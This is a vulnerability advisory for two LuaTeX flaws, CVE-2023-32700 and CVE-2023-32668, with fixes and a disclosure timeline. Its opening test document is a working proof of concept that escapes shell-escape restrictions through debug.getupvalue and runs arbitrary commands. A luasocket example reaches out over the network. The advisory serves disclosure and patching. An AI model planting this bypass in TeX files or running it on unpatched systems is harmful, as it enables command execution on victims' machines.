Summary
Any document compiled with older versions of LuaTeX can execute arbitrary shell commands, even with shell escape disabled.
This affects LuaTeX versions 1.04–1.16.1, which were included in TeX Live 2017–2022 as well as the original release of TeX Live 2023. This issue was fixed in LuaTeX 1.17.0, and is distributed as an update to TeX Live 2023.
This issue has been assigned CVE-2023-32700.
Exploit Code
To see if you are vulnerable, you may use the below sample document:
TeX File
% shell-escape-test.tex
\directlua{
local function get_upvalue(func, name)
local nups = debug.getinfo(func).nups
for i = 1, nups do
local current, value = debug.getupvalue(func, i)
if current == name then
return value
end
end
end
local outer = get_upvalue(io.popen, "popen")
local popen = get_upvalue(outer or io.popen, "io_popen")
print(popen(arg[rawlen(arg)]):read("*a"))
}
\csname@@end\endcsname
\end
Vulnerable Transcripts
$ lualatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaHBTeX, Version 1.16.0 (TeX Live 2023)
restricted system commands enabled.
(./shell-escape-test.tex
LaTeX2e <2022-11-01> patch level 1
L3 programming layer <2023-04-20>@@@VULNERABLE@@@
)
296 words of node memory still in use:
1 hlist, 3 kern, 1 glyph, 1 attribute, 39 glue_spec, 1 attribute_list nodes
avail lists: 2:10,3:3,4:1,5:1
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
$ luatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaTeX, Version 1.16.0 (TeX Live 2023)
restricted system commands enabled.
(./shell-escape-test.tex@@@VULNERABLE@@@
)
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
Safe Transcripts
$ lualatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaHBTeX, Version 1.17.0 (TeX Live 2024)
restricted system commands enabled.
(./shell-escape-test.tex
LaTeX2e <2022-11-01> patch level 1
L3 programming layer <2023-04-20>[\directlua]:1: attempt to call a nil value (local 'popen')
stack traceback:
[\directlua]:1: in main chunk.
l.17 }
? )
296 words of node memory still in use:
1 hlist, 3 kern, 1 glyph, 1 attribute, 39 glue_spec, 1 attribute_list nodes
avail lists: 2:10,3:3,4:1,5:1
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
$ luatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaTeX, Version 1.17.0 (TeX Live 2024)
restricted system commands enabled.
(./shell-escape-test.tex[\directlua]:1: attempt to call a nil value (local 'popen')
stack traceback:
[\directlua]:1: in main chunk.
l.17 }
? )
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
Details
Affected Configurations
LuaTeX
LuaTeX versions 1.04–1.16.1 are affected by this vulnerability.
LuaTeX versions 1.17.0 (2023-04-29) and newer are not affected by this vulnerability. LuaTeX versions prior to and including 1.03 (2017-02-16) are also not affected.
If you have an unversioned LuaTeX built from source, commit
4d8b815d
introduced the issue on 2017-03-01, and commits
5650c067
and
b8b71a25
resolved the issue on 2023-04-24.
This vulnerability affects all 4 LuaTeX engines: LuaTeX, LuaHBTeX, LuaJITTeX, and LuaJITHBTeX.
Distributions
This issue affects TeX Live 2017–2022 and the original release of TeX Live 2023. Beginning on 2023-05-02, TeX Live 2023 distributed the latest version of LuaTeX that is not vulnerable to this issue.
This issue also affects MiKTeX 2.9.6300–23.4. On 2023-05-05, MiKTeX 23.5 distributed the latest version of LuaTeX that is not vulnerable to this issue.
Other unnamed distributions are also affected. To check if your specific
installation is affected, check luatex --version
or test the exploit code.
Formats
Plain LuaTeX, LuaLaTeX, and OpTeX are all affected by this vulnerability.
ConTeXt is not affected by this vulnerability since it always has shell-escape enabled.
Operating Systems and Architectures
This vulnerability affects all operating systems and architectures.
Command-line Flags
All of LUATEX
(default), LUATEX
--no-shell-escape
, and LUATEX --shell-restricted
are vulnerable.
LUATEX
can be any of luatex
,
lualatex
, luahbtex
, optex
, etc.
LUATEX --safer
is not vulnerable; however
running with --safer
disables loading
TTF/OTF fonts (via
luaotfload
/fontspec
), thus negating one of the primary
benefits of using LuaTeX. As such, exceedingly few users typically run LuaTeX
using with --safer
.
Exploitation Requirements
In order to exploit this vulnerability, an attacker will generally need to convince a user to compile (run) a malicious document using a vulnerable LuaTeX version. An alternate attack would require the user to compile any document in an attacker-controlled working directory.
LuaTeX has been included in all major TeX distributions since 2008, and most extant versions of LuaTeX are vulnerable, so the technical requirements will generally be met by all (La)TeX users. Users also typically assume that compiling an unknown TeX document is safe (similar to how opening an unknown PDF document is safe), so an attacker should be able to easily persuade a potential victim to compile a malicious document.
Many online services (Overleaf, CoCalc, CodeCogs, etc.) allow untrusted users to compile arbitrary documents; however, most of these services are either pdfTeX-only or use additional sandboxing, so they should be unaffected by this issue.
texlive.net
was initially vulnerable to this issue. Before this vulnerability was
publicly disclosed, I privately emailed the maintainers and the issue was
quickly fixed. There are a few other vulnerable online services, but these are
quite rare in comparison to the safe ones.
Solution
The Easy Way
If you are using TeX Live 2023 or MiKTeX, you can simply update your distribution to install the patched version of LuaTeX.
If you are using a LuaTeX packaged by a Linux or BSD distribution, then updating your distribution should get you a patched version of LuaTeX. If this is not the case, then please point your distribution maintainers to this page.
TeX Live ≤ 2022
If you are using an older version of TeX Live, then you should ideally upgrade to TeX Live 2023. If this is not possible, then you can manually install updated LuaTeX binaries.
If you’re using Linux x86_64
or Windows, then you can download
specifically-patched binaries in the next
section.
Otherwise, you can use the latest binaries from TeX Live 2023. Using newer
binaries with older TeX Live TEXMF
trees will generally work
without causing any issues; however, there may be some backwards
incompatibilities depending on old your TeX installation is.
- Download the appropriate files for your operating system and architecture
OS/architecture Download Links Linux ARM64 LuaTeX LuaHBTeX LuaJITTeX Linux ARMHF LuaTeX LuaHBTeX LuaJITTeX Linux x86 LuaTeX LuaHBTeX LuaJITTeX Linux x86_64 LuaTeX LuaHBTeX LuaJITTeX Linux x86_64 musl LuaTeX LuaHBTeX LuaJITTeX FreeBSD x86_64 LuaTeX LuaHBTeX LuaJITTeX FreeBSD x86 LuaTeX LuaHBTeX LuaJITTeX NetBSD x86_64 LuaTeX LuaHBTeX LuaJITTeX NetBSD x86 LuaTeX LuaHBTeX LuaJITTeX Solaris x86 LuaTeX LuaHBTeX LuaJITTeX Solaris x86_64 LuaTeX LuaHBTeX LuaJITTeX macOS x86_64/ARM64 LuaTeX LuaHBTeX LuaJITTeX Windows x86_64 LuaTeX LuaHBTeX LuaJITTeX Windows x86 LuaTeX LuaHBTeX LuaJITTeX Cygwin x86_64 LuaTeX LuaHBTeX LuaJITTeX - Unpack the archives in
$TEXMFDIST
. You can get the exact location by running
Ensure that you overwrite the files$ kpsewhich --var-value=TEXMFDIST
luatex
,luahbtex
, andluajitex
. - Rebuild the format files:
$ fmtutil-sys --all
- Verify that you have at least version 1.17.0 for all four commands:
$ luatex --version This is LuaTeX, Version 1.17.0 (TeX Live 2023) [...] $ luahbtex --version This is LuaHBTeX, Version 1.17.0 (TeX Live 2023) [...] $ luajittex --version This is LuajitTeX, Version 1.17.0 (TeX Live 2023) Development id: 7581 [...] $ luajithbtex --version # (optional) This is LuajitHBTeX, Version 1.17.0 (TeX Live 2023) Development id: 7581 [...]
Build from Source
The first step is to download the source.
(Option 1)
$ mkdir tl2023
$ rsync -a --delete --exclude=.svn --exclude=Work --exclude=inst tug.org::tlbranch ./tl2023
(Option 2)
$ wget 'https://github.com/TeX-Live/texlive-source/archive/refs/tags/build-svn66984.tar.gz'
$ tar xf build-svn66984.tar.gz
Next, you can build the source. If you have previously built TeX Live, then
you can follow the
brief
instructions from tlbuild
. Otherwise, you can find full instructions
on the “TeX Live build procedure”
page.
If you have no experience building TeX Live, then you may find it easier to build LuaTeX alone. To do so, you can follow the simplified procedure below:
$ git clone --depth 1 https://gitlab.lisn.upsaclay.fr/texlive/luatex.git
$ cd luatex
$ git checkout 1.17.0
$ ./build.sh --parallel --luahb --jit --jithb
# cp build/texk/web2c/luatex build/texk/web2c/luahbtex build/texk/web2c/luajittex build/texk/web2c/luajithbtex "$(kpsewhich --var-value=SELFAUTOLOC)"
# fmtutil-sys --all
Patching Older Versions
If you are using an older version of LuaTeX and need to maintain absolute backwards compatibility, then you can apply the following patches to your LuaTeX source:
diff --git a/source/texk/web2c/luatexdir/lua/loslibext.c b/source/texk/web2c/luatexdir/lua/loslibext.c
--- a/source/texk/web2c/luatexdir/lua/loslibext.c
+++ b/source/texk/web2c/luatexdir/lua/loslibext.c
@@ -1047,6 +1047,111 @@ static int os_execute(lua_State * L)
}
+/*
+** ======================================================
+** l_kpse_popen spawns a new process connected to the current
+** one through the file streams with some checks by kpse.
+** Almost verbatim from Lua liolib.c .
+** =======================================================
+*/
+#if !defined(l_kpse_popen) /* { */
+
+#if defined(LUA_USE_POSIX) /* { */
+
+#define l_kpse_popen(L,c,m) (fflush(NULL), popen(c,m))
+#define l_kpse_pclose(L,file) (pclose(file))
+
+#elif defined(LUA_USE_WINDOWS) /* }{ */
+
+#define l_kpse_popen(L,c,m) (_popen(c,m))
+#define l_kpse_pclose(L,file) (_pclose(file))
+
+#else /* }{ */
+
+/* ISO C definitions */
+#define l_kpse_popen(L,c,m) \
+ ((void)((void)c, m), \
+ luaL_error(L, "'popen' not supported"), \
+ (FILE*)0)
+#define l_kpse_pclose(L,file) ((void)L, (void)file, -1)
+
+#endif /* } */
+
+#endif /* } */
+typedef luaL_Stream LStream;
+#define tolstream(L) ((LStream *)luaL_checkudata(L, 1, LUA_FILEHANDLE))
+static LStream *newprefile (lua_State *L) {
+ LStream *p = (LStream *)lua_newuserdata(L, sizeof(LStream));
+ p->closef = NULL; /* mark file handle as 'closed' */
+ luaL_setmetatable(L, LUA_FILEHANDLE);
+ return p;
+}
+static int io_kpse_pclose (lua_State *L) {
+ LStream *p = tolstream(L);
+ return luaL_execresult(L, l_kpse_pclose(L, p->f));
+}
+static int io_kpse_check_permissions(lua_State *L) {
+ const char *filename = luaL_checkstring(L, 1);
+ if (filename == NULL) {
+ lua_pushboolean(L,0);
+ lua_pushliteral(L,"no command name given");
+ } else if (shellenabledp <= 0) {
+ lua_pushboolean(L,0);
+ lua_pushliteral(L,"all command execution is disabled");
+ } else if (restrictedshell == 0) {
+ lua_pushboolean(L,1);
+ lua_pushstring(L,filename);
+ } else {
+ char *safecmd = NULL;
+ char *cmdname = NULL;
+ switch (shell_cmd_is_allowed(filename, &safecmd, &cmdname)) {
+ case 0:
+ lua_pushboolean(L,0);
+ lua_pushliteral(L, "specific command execution disabled");
+ break;
+ case 1:
+ /* doesn't happen */
+ lua_pushboolean(L,1);
+ lua_pushstring(L,filename);
+ break;
+ case 2:
+ lua_pushboolean(L,1);
+ lua_pushstring(L,safecmd);
+ break;
+ default:
+ /* -1 */
+ lua_pushboolean(L,0);
+ lua_pushliteral(L, "bad command line quoting");
+ break;
+ }
+ }
+ return 2;
+}
+static int io_kpse_popen (lua_State *L) {
+ const char *filename = NULL;
+ const char *mode = NULL;
+ LStream *p = NULL;
+ int okay;
+ filename = luaL_checkstring(L, 1);
+ mode = luaL_optstring(L, 2, "r");
+ lua_pushstring(L,filename);
+ io_kpse_check_permissions(L);
+ filename = luaL_checkstring(L, -1);
+ okay = lua_toboolean(L,-2);
+ if (okay && filename) {
+ p = newprefile(L);
+ luaL_argcheck(L, ((mode[0] == 'r' || mode[0] == 'w') && mode[1] == '\0'),
+ 2, "invalid mode");
+ p->f = l_kpse_popen(L, filename, mode);
+ p->closef = &io_kpse_pclose;
+ return (p->f == NULL) ? luaL_fileresult(L, 0, filename) : 1;
+ } else {
+ lua_pushnil(L);
+ lua_pushvalue(L,-2);
+ return 2;
+ }
+}
+
void open_oslibext(lua_State * L)
{
@@ -1080,6 +1185,8 @@ void open_oslibext(lua_State * L)
lua_setfield(L, -2, "execute");
lua_pushcfunction(L, os_tmpdir);
lua_setfield(L, -2, "tmpdir");
+ lua_pushcfunction(L, io_kpse_popen);
+ lua_setfield(L, -2, "kpsepopen");
lua_pop(L, 1); /* pop the table */
}
diff --git a/source/texk/web2c/luatexdir/lua/luatex-core.lua b/source/texk/web2c/luatexdir/lua/luatex-core.lua
--- a/source/texk/web2c/luatexdir/lua/luatex-core.lua
+++ b/source/texk/web2c/luatexdir/lua/luatex-core.lua
@@ -34,7 +34,6 @@ if kpseused == 1 then
local kpse_recordoutputfile = kpse.record_output_file
local io_open = io.open
- local io_popen = io.popen
local io_lines = io.lines
local fio_readline = fio.readline
@@ -75,12 +74,6 @@ if kpseused == 1 then
return f
end
- local function luatex_io_popen(name,...)
- local okay, found = kpse_checkpermission(name)
- if okay and found then
- return io_popen(found,...)
- end
- end
-- local function luatex_io_lines(name,how)
-- if name then
@@ -130,7 +123,7 @@ if kpseused == 1 then
mt.lines = luatex_io_readline
io.open = luatex_io_open
- io.popen = luatex_io_popen
+ io.popen = os.kpsepopen
else
@@ -169,6 +162,8 @@ if saferoption == 1 then
os.setenv = installdummy("os.setenv")
os.tempdir = installdummy("os.tempdir")
+ os.kpsepopen = installdummy("os.kpsepopen")
+
io.popen = installdummy("io.popen")
io.open = installdummy("io.open",luatex_io_open_readonly)
Aside from patching this security vulnerability, this patch will not cause any observable changes in LuaTeX’s behaviour.
After applying the diff
, you will need to run
$ cd source/texk/web2c/luatexdir/lua/
$ mtxrun --script luatex-core.lua
before you can build your LuaTeX binaries. Once built, verify that you are no
longer vulnerable by running the exploit code at the top of this document.
This step is required to update luatex-core.c
which cannot be
cleanly diff
ed.
If you encounter any difficulties, you can ask for help on either the LuaTeX developers list
(dev-luatex@ntg.nl
) or the TeX Live builders list
(tlbuild@tug.org
).
Patches for Specific Versions
The above patch cleanly applies only to recent TeX Live versions. In
addition, using the above patch requires a working ConTeXt installation to run
mtxrun
.
For each of the TeX Live versions listed below, you can simply apply the linked patches to your current source and recompile, with no additional steps needed. Additionally, I have provided patched binaries for select systems.
These patches/binaries only contain the fix for CVE-2023-32700
(popen
); they do not any fixes for CVE-2023-32668
(socket
).
- TeX Live 2017
- LuaTeX Version
1.0.4
- Programs Built
-
- LuaTeX
- LuaJITTeX
- Binary Downloads
-
- Linux
x86_64
(CentOS 7, GCC4.8.5
) - Windows
x86
(Mingw-w645.0
, GCC7.3
)
- Linux
- Complete Patch
- TeX Live 2018
- LuaTeX Version
1.07.0
- Programs Built
-
- LuaTeX
- LuaJITTeX
- Binary Downloads
-
- Linux
x86_64
(CentOS 7, GCC4.8.5
) - Windows
x86
(Mingw-w645.0
, GCC7.3
)
- Linux
- Complete Patch
- TeX Live 2019
- LuaTeX Version
1.10.0
- Programs Built
-
- LuaTeX
- LuaJITTeX
- Binary Downloads
-
- Linux
x86_64
(CentOS 7, GCC4.8.5
) - Windows
x86
(Mingw-w645.0
, GCC7.3
)
- Linux
- Complete Patch
- TeX Live 2020
- LuaTeX Version
1.12.0
- Programs Built
-
- LuaTeX
- LuaHBTeX
- LuaJITTeX
- LuaJITHBTeX
- Binary Downloads
-
- Linux
x86_64
(CentOS 7, GCC10.2.1
) - Windows
x86
(Mingw-w645.0
, GCC7.3
)
- Linux
- Complete Patch
- TeX Live 2021
- LuaTeX Version
1.13.0
- Programs Built
-
- LuaTeX
- LuaHBTeX
- LuaJITTeX
- LuaJITHBTeX
- Binary Downloads
-
- Linux
x86_64
(CentOS 7, GCC10.2.1
) - Windows
x86
(Mingw-w645.0
, GCC7.3
)
- Linux
- Complete Patch
- TeX Live 2022
- LuaTeX Version
1.15.0
- Programs Built
-
- LuaTeX
- LuaHBTeX
- LuaJITTeX
- LuaJITHBTeX
- Binary Downloads
-
- Linux
x86_64
(CentOS 7, GCC10.2.1
) - Windows
x86
(Mingw-w645.0
, GCC7.3
)
- Linux
- Complete Patch
- TeX Live 2023
- LuaTeX Version
1.16.0
- Programs Built
-
- LuaTeX
- LuaHBTeX
- LuaJITTeX
- LuaJITHBTeX
- Binary Downloads
-
- Linux
x86_64
(CentOS 7, GCC10.2.1
) - Windows
x86_64
(Mingw-w645.0
, GCC7.3
)
- Linux
- Complete Patch
Binary Compilation Details
Below I’ll list the exact steps I used to compile the binaries linked above. This is only relevant if you want to exactly reproduce the binaries linked above; if you’re maintaining a Linux/BSD distribution, you should just apply the patches above then use your normal TeX Live build process.
General
Download the source code:
$ curl 'https://tug.org/~mseven/luatex-files/20[17-23]/patch' -o '20#1.patch'
$ git init luatex
$ cd luatex
$ git fetch --depth 1 'https://gitlab.lisn.upsaclay.fr/texlive/luatex.git' tag 1.0.4 tag 1.07.0 tag 1.10.0 tag 1.12.0 tag 1.13.0 tag 1.15.0 tag 1.16.0
Linux x86_64
Since linking with glibc
is only backwards compatible
(not forwards compatible), you need to build Linux binaries on the
oldest system that you plan on supporting. In 2023, this is typically
CentOS 7.
Recent versions of LuaTeX won’t build with the default CentOS 7 compiler
because it’s too old, so you’ll need to install
devtoolset-10
. But older versions of LuaTeX won’t build with
the newer compilers, so you’ll also need the standard compiler
installed.
Otherwise, building is fairly simple:
$ git checkout 1.0.4
$ git apply ../2017.patch
$ ./build.sh --parallel --jit
$ mkdir ../2017
$ cp build/texk/web2c/luatex build/texk/web2c/luajittex ../2017
$ git reset --hard @; git clean -fdx
(repeat for 2018/1.07.0 and 2019/1.10.0)
$ git checkout 1.12.0
$ git apply ../2020.patch
$ PATH=/opt/rh/devtoolset-10/root/usr/bin:/bin ./build.sh --parallel --jit --luahb --jithb
$ mkdir ../2020
$ cp build/texk/web2c/luatex build/texk/web2c/luajittex build/texk/web2c/luahbtex build/texk/web2c/luajithbtex ../2020
$ git reset --hard @; git clean -fdx
(repeat for 2021/1.13.0, 2022/1.15.0, and 2023/1.16.0)
I’ve done some basic testing with most of the binaries, and everything seems to work as expected. I don’t expect for there to be any issues, but use at your own risk.
Windows
Windows has a stable ABI, so we can build on any version without any issues. We need a different system this time though since CentOS 7 doesn’t package Mingw-w64. I used Ubuntu 18.04, but other distros should work too.
The annoying part here is that TeX Live 2017–2022 compiled binaries for
x86
, while TeX Live 2023 compiled binaries for
x86_64
, so we need to install both Mingw-w64 x86
and Mingw-w64 x86_64
. The TeX Live build process also needs
a native compiler, so we need to install a native Linux GCC.
And cross-compiling LuaJIT
requires that your native system has the same pointer size as the
destination system, so we also need to install a 32-bit Linux
GCC. Luckily, the GCC version in Ubuntu 18.04
works for compiling both new and old versions of LuaTeX; otherwise we’d need
eight different compilers.
There are two more complications. First, the binaries want to dynamically
link to libc++
and libgcc
, so we need to modify
the build script to force static linkage. Second, the version of Mingw-w64
in Ubuntu 18.04 is too old to recognize the constant
PROCESSOR_ARCHITECTURE_ARM64
, so we need to manually hard code
this.
Otherwise, building is fairly straightforward:
$ git checkout 1.0.4
$ git apply ../2017.patch
$ sed -i 's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh # Force a static build
$ ./build.sh --mingw32 --jit --parallel --build=i686-unknown-linux-gnu
$ mkdir ../2017
$ cp build-windows/texk/web2c/luajittex.exe build-windows/texk/web2c/luatex.exe ../2017
$ git reset --hard @; git clean -fdx
(repeat for 2018/1.07.0 and 2019/1.10.0)
$ git checkout 1.12.0
$ git apply ../2020.patch
$ sed -i 's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh # Force a static build
$ sed -i 's/PROCESSOR_ARCHITECTURE_ARM64/12/' source/texk/web2c/luatexdir/lua/loslibext.c # Fix for older versions of Mingw-w64
$ ./build.sh --mingw32 --jit --luahb --jithb --parallel --build=i686-unknown-linux-gnu
$ mkdir ../2020
$ cp build-windows32/texk/web2c/luajittex.exe build-windows32/texk/web2c/luatex.exe build-windows32/texk/web2c/luajithbtex.exe build-windows32/texk/web2c/luahbtex.exe ../2020
$ git reset --hard @; git clean -fdx
(repeat for 2021/1.13.0 and 2022/1.15.0)
$ git checkout 1.16.0
$ git apply ../2023.patch
$ sed -i 's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh # Force a static build
$ sed -i 's/PROCESSOR_ARCHITECTURE_ARM64/12/' source/texk/web2c/luatexdir/lua/loslibext.c # Fix for older versions of Mingw-w64
$ ./build.sh --mingw64 --jit --luahb --jithb --parallel
$ mkdir ../2023
$ cp build-windows64/texk/web2c/luajittex.exe build-windows64/texk/web2c/luatex.exe build-windows64/texk/web2c/luajithbtex.exe build-windows64/texk/web2c/luahbtex.exe ../2023
$ git reset --hard @; git clean -fdx
I’ve only tested these binaries with Wine, but everything seems to work as expected. I don’t expect for there to be any issues, but again, use at your own risk.
Patching Without Modifying Binaries
If you absolutely cannot change your current LuaTeX binaries, the following patch will provide protection against the exploit:
--- texmf-dist/tex/generic/tex-ini-files/luatexconfig.tex
+++ texmf-dist/tex/generic/tex-ini-files/luatexconfig.tex
@@ -66,4 +66,50 @@
\global\let\pageheight\undefined
\global\let\pagewidth\undefined
\global\let\dvimode\undefined
+ % \global\everyjob{\directlua{
+ % do
+ % local getupvalue = debug.getupvalue
+ % local setupvalue = debug.setupvalue
+
+ % local function get_upvalue(func, name)
+ % local nups = debug.getinfo(func).nups
+
+ % for i = 1, nups do
+ % local current, value = getupvalue(func, i)
+ % if current == name then
+ % return value
+ % end
+ % end
+ % end
+
+ % local popen_wrapper = get_upvalue(io.popen, "popen")
+ % local popen = get_upvalue(popen_wrapper or io.popen, "io_popen")
+ % print("<<<", popen, ">>>")
+ % local do_nothing = function() end
+
+ % local function checked_getupvalue(...)
+ % local name, value = getupvalue(...)
+ % if value == popen or
+ % value == getupvalue or
+ % value == setupvalue
+ % then
+ % return name, do_nothing
+ % else
+ % return name, value
+ % end
+ % end
+ % debug.getupvalue = checked_getupvalue
+
+ % function debug.setupvalue(func, index, value)
+ % local name, orig_value = checked_getupvalue(func, index)
+ % if orig_value == do_nothing or
+ % func == checked_getupvalue
+ % then
+ % return name
+ % else
+ % return setupvalue(func, index, value)
+ % end
+ % end
+ % end
+ % }}
\endgroup
--- texmf-dist/tex/generic/tex-ini-files/lualatex.ini
+++ texmf-dist/tex/generic/tex-ini-files/lualatex.ini
@@ -13,7 +13,7 @@
% a callback. Originally this code was loaded via lualatexquotejobname.tex
% but that required a hack around latex.ltx: the behaviour has been altered
% to allow the callback route to be used directly.
- \global\everyjob{\directlua{require("lualatexquotejobname.lua")}}
+ \global\everyjob\expandafter{\the\everyjob\directlua{require("lualatexquotejobname.lua")}}
\endgroup
\input latex.ltx
Then, rebuild your format files:
# fmtutil-sys --all
Finally, verify that the patch worked by testing with the exploit code at the top of this document.
This patch may not provide complete protection against a motivated attacker, so please use one of the other options if at all possible.
Impact
This vulnerability is quite serious: it completely defeats the security
protections of the second-most popular TeX engine. This means that any
TeX file — packages, classes, documents, .aux
files, etc, — can
execute arbitrary commands on your computer.
Despite all this, this vulnerability has a relatively low impact for reasons best described below:
Less facetiously, people rarely compile TeX files obtained from untrusted sources. Most people only compile files that they have written themselves, from trusted collaborators, or from packages distributed by their TeX distribution. For this vulnerability to be an issue, you would need to compile an outright malicious TeX file.
Most services that compile TeX files from unknown users tend to use additional sandboxing. For example, Overleaf compiles each document in an ephemeral container. This means that even if an attacker were to exploit this vulnerability, they would only be able to execute commands inside the container, which would be destroyed after the document is compiled. (And besides, Overleaf enables unrestricted shell escape by default, so you can already execute arbitrary commands.)
There are of course many services and users that will be affected by this vulnerability, but they are the exception rather than the rule. We have observed no signs of this vulnerability being exploited in the wild.
How it Works
The Exploit
When LuaTeX is started — before it runs any TeX or Lua code — it first calls
the C function load_luatex_core_lua
. This function runs the file
luatex-core.lua
that is embedded into the LuaTeX binary. Among
other things, this file modifies a few Lua modules, mostly for backwards
compatibility and security purposes.
Here’s an excerpt of the relevant code:
local io_popen = io.popen
-- [...]
local function luatex_io_popen(name,...)
local okay, found = kpse_checkpermission(name)
if okay and found then
return io_popen(found,...)
end
end
-- [...]
io.popen = luatex_io_popen
The above is pretty straightforward: it saves a local copy of the original
io.popen
, defines a new wrapper function that checks to see if the
command is allowed with the current shell escape setting, and sets
io.popen
to the wrapper function.
The problem here is the local copy. The wrapper function saves a reference to
the original io.popen
, and using the Lua standard library function
debug.getupvalue
, we can access this internal reference. Once we’ve
extracted the internal io.popen
, we can use it to execute arbitrary
processes without restriction, completely defeating any of the shell escape
protections.
The Fix
The fix is fairly straightforward: instead of implementing the wrapper
function in Lua, we now implement it in C, where we can no longer access the
internals from Lua. We still reassign the function from Lua, but this is safe
since doing so removes any reference to the original io.popen
.
Additional Issues
While investigating this vulnerability, I discovered a few other minor security issues. Patches for both of these are include in LuaTeX 1.17.0, but not in the raw patches listed above.
debug
Module still Available with --safer
When running LUATEX --safer
, LuaTeX disables the debug
module via luatex-core.lua
:
if saferoption == 1 then
-- [...]
debug = nil
This isn’t very effective though since you can still access the entirety of the original module via package.loaded.debug
. This is easily fixed by first nil
’ing all the functions in the module, then by nil
’ing package.loaded.debug
.
This hasn’t been fixed yet, but it’s not really much of a vulnerability.
Hardly anyone ever uses LUATEX --safer
, and the
debug
module doesn’t do anything particularly unsafe.
LUATEX --safer
disables it simply to reduce the attack
surface.
luasocket
Enabled by Default
Summary
LuaTeX includes the
luasocket
module, which allows you to make network requests directly from LuaTeX:
\documentclass{article}
\usepackage{luacode}
\begin{luacode*}
local http = require "socket.http"
function get_ip()
body, code, headers = http.request("http://icanhazip.com")
tex.sprint(body)
end
\end{luacode*}
\def\getip{\directlua{get_ip()}}
\begin{document}
Your IP address is \getip.
\end{document}
This is quite useful, but it’s also a minor security risk: a malicious document could download dangerous files to your computer, or a malicious package could upload all your files to a remote server.
This issue has been assigned CVE-2023-32668 and affects LuaTeX versions 0.27.0–1.16.2 which were included in TeX Live 2009–2023 and MiKTeX 2.9.0–23.4.
Details
LuaTeX has included luasocket
since version 0.27.0 (2008-06-24).
From the very beginning, the manual stated that luasocket
was
enabled by default. In addition, running luatex --help
has always
listed a --nosocket
option, which implies that sockets are
enabled by default.
Despite all this, it is very surprising that a TeX engine allows unrestricted network access by default. This isn’t a “vulnerability” per se, but the feature is sufficiently dangerous, unexpected, and rarely used for it to merit a security update.
Solution
Since version 1.17.0 (2023-04-29,
b266ef07^..da4492c7
),
LuaTeX disables the socket library by default. You can re-enable the
socket
module at runtime by compiling with either
LUATEX --socket
or LUATEX
--shell-escape
.
If you installed the LuaTeX 1.17.0 binaries from your TeX
distribution, the manual download links above, or by
building version 1.17.0 from source, then you have
received the above fix and luasocket
will be disabled by
default.
If you have not installed LuaTeX 1.17.0, then you can block network access by
compiling all of your documents with LUATEX --nosocket
.
If you are unable to upgrade to LuaTeX 1.17.0, you can patch the
LuaTeX binary or luatexconfig.tex
to disable luasocket
by default; however, I wouldn’t recommend this. The only reason to intentionally
use an older LuaTeX binary is to maintain backwards compatibility, but the
socket
change intentionally breaks this.
If you are running the initial version of TeX Live 2023, then the security benefits of this change outweigh the backwards compatibility concerns. But if you’re managing a Linux/BSD distribution that distributes an older version of TeX Live, then it’s probably not worth it to backport this fix.
ConTeXt
Disabling luasocket
by default breaks ConTeXt MkIV. TeX Live
2023 bundles a fix for this with the LuaTeX binary update. If you have manually
installed an updated LuaTeX, you can fix ConTeXt by running:
# sed -i 's/%primaryflags%/%primaryflags% --socket --shell-escape/' $(type -p mtxrun).lua
If this worked correctly, the following command will run without any errors:
$ context --luatex --nofile
Timeline
- May 20, 2008
-
luasocket
is added to LuaTeX. (48789fc8
) - March 1, 2017
-
The
popen
vulnerability is introduced to the LuaTeX source. (4d8b815d
) - April 18, 2023
- I reported all three vulnerabilities to
tlsecurity@tug.org
. - Initial response from the TeX Live team.
- April 23, 2023
-
The
popen
vulnerability is patched in the LuaTeX source. (5650c067
) - April 26, 2023
-
The
luasocket
issue is patched in the LuaTeX source. (e7df9234
) - May 2, 2023
The LuaTeX 1.17.0 is merged into the TeX Live
trunk
. (r66984
)- May 5, 2023
TeX Live has now released binary updates for all architectures. (
r67006
)- May 9, 2023
- (Beyond) Linux From Scratch releases a patch.
- May 11, 2023
- MITRE assigns CVE-2023-32668 and CVE-2023-32700.
- May 13, 2023
-
I privately emailed the vulnerability details to the security contacts for
Ubuntu, Debian, Arch, Gentoo, Fedora, RHEL,
OpenSUSE/SLES, FreeBSD,
OpenBSD,
texlive.net
, and Overleaf. -
texlive.net
is patched. - May 15, 2023
- Overleaf confirms that they are unaffected.
- May 17, 2023
- OpenSUSE Tumbleweed releases a patch.
- May 19, 2023
- Gentoo releases a patch.
- May 20, 2023
- Embargo lifted; anyone may now publicly discuss the vulnerabilities.
- OpenBSD releases a patch.
- Debian releases a patch.
- Nix releases a patch.
- May 22, 2023
-
Details posted
to
tex-live@tug.org
. - May 24, 2023
- NetBSD releases a patch.
- OpenSUSE Leap and SLES release patches.
- Slackware releases a patch.
- May 27, 2023
- Haiku releases a patch.
- Alpine releases a patch.
- May 29, 2023
- Arch releases a patch.
- May 30, 2023
- Ubuntu releases a patch.
- Fedora releases a patch.
- June 19, 2023
- RHEL releases a patch.
- June 21, 2023
- Oracle Linux releases a patch.
- June 23, 2023
- Alma Linux releases a patch.
- June 24, 2023
- Rocky Linux releases a patch.
Credits
I (Max Chernoff) discovered and reported all three vulnerabilities. I also
created the luatexconfig.tex
patch, wrote a few tiny
patches for the LuaTeX source, coordinated the patch with the distributions,
and wrote this document.
Luigi Scarso (of the LuaTeX team) wrote all the documentation and patches for the LuaTeX binary. Karl Berry helped coordinate the release of the rare mid-year upgrade. Thank you both!
Contact
If you have any questions about LuaTeX 1.17.0, CVE-2023-32668, CVE-2023-32700, this page,
or these vulnerabilities in general, feel free to email me at website@maxchernoff.ca
.